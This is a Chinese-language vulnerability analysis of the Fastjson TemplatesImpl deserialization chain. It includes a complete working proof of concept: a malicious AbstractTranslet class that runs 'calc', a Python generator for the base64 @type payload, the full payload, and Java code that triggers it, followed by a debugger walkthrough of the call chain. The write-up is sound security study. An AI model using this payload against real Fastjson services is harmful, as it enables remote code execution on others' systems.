Fastjson TemplatesImpl利用链分析
漏洞复现
恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Shell extends AbstractTranslet { public Shell(){ try { Runtime.getRuntime().exec("calc"); }catch (IOException e){ e.printStackTrace(); } }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) { Shell shell = new Shell(); } }
|
生成payload
import base64
fin = open(r"SHELL.class","rb") byte = fin.read() fout = base64.b64encode(byte).decode("utf-8") poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout print poc
|
获取的poc
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANwoACQAnCgAoACkIACoKACgAKwcALAoABQAtBwAuCgAHACcHAC8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAVzaGVsbAEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAAKAAsHADEMADIAMwEABGNhbGMMADQANQEAE2phdmEvaW8vSU9FeGNlcHRpb24MADYACwEABVNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAkAAAAAAAQAAQAKAAsAAQAMAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgANAAAAGgAGAAAACgAEAAwADQAPABAADQARAA4AFQAQAA4AAAAWAAIAEQAEAA8AEAABAAAAFgARABIAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAFAAOAAAAIAADAAAAAQARABIAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAGAAOAAAAKgAEAAAAAQARABIAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACQAgACEAAQAMAAAAQQACAAIAAAAJuwAHWbcACEyxAAAAAgANAAAACgACAAAAGwAIABwADgAAABYAAgAAAAkAIgAjAAAACAABACQAEgABAAEAJQAAAAIAJg=="],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
|
执行payload
String str4 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEANwoACQAnCgAoACkIACoKACgAKwcALAoABQAtBwAuCgAHACcHAC8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAAdMU2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAVzaGVsbAEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAAKAAsHADEMADIAMwEABGNhbGMMADQANQEAE2phdmEvaW8vSU9FeGNlcHRpb24MADYACwEABVNoZWxsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAkAAAAAAAQAAQAKAAsAAQAMAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgANAAAAGgAGAAAACgAEAAwADQAPABAADQARAA4AFQAQAA4AAAAWAAIAEQAEAA8AEAABAAAAFgARABIAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAFAAOAAAAIAADAAAAAQARABIAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAGAAOAAAAKgAEAAAAAQARABIAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACQAgACEAAQAMAAAAQQACAAIAAAAJuwAHWbcACEyxAAAAAgANAAAACgACAAAAGwAIABwADgAAABYAAgAAAAkAIgAjAAAACAABACQAEgABAAEAJQAAAAIAJg==\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
Object obj = JSONObject.parse(str4, Feature.SupportNonPublicField);
|
运行后,成功弹出计算器
调试分析
从我们前面的反序列化分析有讲到,这里与前面是一样的,做了一大判断后实例了类,获取了构造器和字段,之后循环获取字段,后面就开始获取解析器

我们可以看到获取到的有三个字段

并且这里有获取到的构造方法

进入方法分析

继续走

取出token,对token进行判断,进入不同的分支,这里做了一些类型的判断,所以我们先步过

这里会去获取字段的一些信息进行判断类型,会循环好几次

到了这里是我们最关键的地方,lexer.scanSymbol会去扫描第一个字段_bytecodes

我们继续往下走key不为null

从这个函数进行创建实例

我们看下这个对象是一个TemplatesImpl

接着往下

这里只会去获取TemplatesImpl的_bytecode字段对象,在下面会创建字段对象的反序列化器DefaultFieldDeserializer

下面反序列化器调用了这个parseField进行解析

我们一步步走,走到上个类,往下跟,能看到这个解析第二个字段

同样的操作,也是由parseField解析这个字段

我们跟进这个,可以看到这个smartMatch

跟进smartMatch,可以看到对下划线和横线进行了处理

我们再返回去,简单过下比较重要的点,所以我们就步过

之后解析第二个后,就会去解析第三个

我们继续往下执行

之后我们又重新调用到这里

我们往下走,可以看到这里和之前不一样,进入了if语句,获取token后比较token

走到这边后,创建了实例对象

返回了对象,我们直接继续步过
可以看到这里执行了javabean的解析器去调用了它的解析

最后将对象进行了赋值给了value

我们继续往下到了最后一个字段,outputProperties就对应着TemplatesImpl的getoutputProperties的方法,按fastjson特点来说,会自动调用了get/set方法,这也导致了恶意的利用

我们向下调试,走进了解析字段

接着走到了setValue

调用outputProperties属性的get方法,跟进setValue最终是走到invoke地方执行


我们可以到exec方法地方下个断点,方便我们看最后的调用栈


我们可以看到这边运行到getOutputProperties,这里又调用了newTransformer方法

我们可以看到这里调用了getTransletInstance方法

可以看到这里对Class进行了一个newInstance方法,从而去调用了构造方法

我们看下_class哪里来的,进入这个defineTransletClasses方法

可以看到这里将字节放进了class,也就是说是从_bytecodes进行的赋值

为什么要使用到TemplatesImpl?
这里调用了newTransformer

newTransformer调用到了getTransletInstance

getTransletInstance调用了defineTransletClasses

调用Classloader的defineClass实现字节码调用

为什么要base64加密?
因为这里我们在获取到_bytecodes的时候进入解析器一步步调用,最终走进了bytesValue调用到了base64解码
原来FastJson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对 _bytecodes 进行Base64处理

为什么要设置_name和_class以及_tfactory变量呢?
因为要满足条件,否则就会导致字段不成立,直接返回,无法进入我们的newInstance方法

_tfactory是为了解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出,这边从其他版本截了个图
为什么要继承AbstractTranslet?
因为defineTransletClasses对父类进行判断,否则会报错


成员变量_outputProperties与其getter方法getOutputProperties()方法名字并不完全一致,多了一个下划线,fastjson是如何将其对应的呢?
fastjson在解析的时候调用了一个smartMatch() 方法,在寻找_outputProperties的getter方法时,程序将下划线置空,从而产生了成员变量_outputProperties与getter方法getOutputProperties()对应的形式

getOutputProperties()会去调用newTransformer方法,一步步调用到了exec
